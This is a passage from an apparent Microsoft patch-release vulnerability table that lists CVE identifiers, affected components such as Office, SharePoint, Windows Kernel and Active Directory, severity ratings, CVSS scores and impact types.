No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege 